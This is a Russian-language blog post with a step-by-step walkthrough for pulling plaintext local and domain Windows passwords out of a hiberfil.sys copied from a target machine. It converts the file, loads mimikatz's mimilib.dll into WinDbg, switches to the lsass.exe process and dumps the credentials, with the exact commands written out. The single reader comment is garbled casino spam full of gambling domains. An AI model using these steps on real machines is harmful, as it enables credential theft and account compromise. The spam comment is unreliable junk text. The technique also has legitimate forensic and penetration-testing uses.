Ярлыки

понедельник, 16 февраля 2015 г.

Восстанавливаем локальные и доменные пароли из hiberfil.sys

Утилита mimikatz, позволяющая извлекать учётные данные Windows из LSA в открытом виде, существует с 2012 года, однако помимо хорошо освещённого функционала восстановления паролей из памяти работающей ОС у неё есть ещё одна довольно интересная возможность. Далее я приведу пошаговую инструкцию, как при помощи нехитрых действий извлечь учётные данные из файла hiberfil.sys.

Подготовка


Для осуществления задуманного нам понадобятся следующие утилиты:

Действия


1. Получаем файл hiberfil.sys с целевой машины.

2. Конвертируем файл в формат понятный WinDbg

hibr2dmp.exe d:\temp\hiberfil.sys c:\temp\hiberfil.dmp

Процесс может занять довольно продолжительное время


3. Запускаем WinDbg и открываем полученный файл 

File -> Open Crash Dump

4. Настраиваем отладочные символы

Открываем File -> Symbol File Pathи вписываем следующую строчку

SRV*c:\symbols*http://msdl.microsoft.com/download/symbols

Вместо c:\symbols, естественно, может быть любой каталог, в который будут загружены символы 


В командной строке дебаггера пишем

0: kd> .reload /n

Ждём окончания загрузки символов


5. Указываем путь к библиотеке mimilib.dll (находится в каталоге с mimikatz)

0: kd> .load z:\Soft\Security\Passwords\Mimikatz\x64\mimilib.dll


6. Находим адрес процесса lsass.exe

0: kd> !process 0 0 lsass.exe


В данном случае адрес: fffffa800a7d9060

7. Переключаем контекст процесса

0: kd> .process /r /p fffffa800a7d9060


8. Запускаем mimikatz и получаем пароли в открытом виде

0:kd> !mimikatz




Ссылки по теме


Раскрытие учетных данных в Microsoft Windows: http://www.securitylab.ru/vulnerability/420418.php




1 комментарий:

  1. Casino de L'Auberge de Casino de LA. de la Casino de L'Auberge de Casino de L'Auberge
    Casino de L'Auberge de Casino de L'Auberge de Casino de L'Auberge de Casino de L'Auberge worrione.com de wooricasinos.info Casino de 바카라사이트 L'Auberge bsjeon de Casino de L'Auberge de Casino de communitykhabar Casino de L'Auberge de Casino de

    ОтветитьУдалить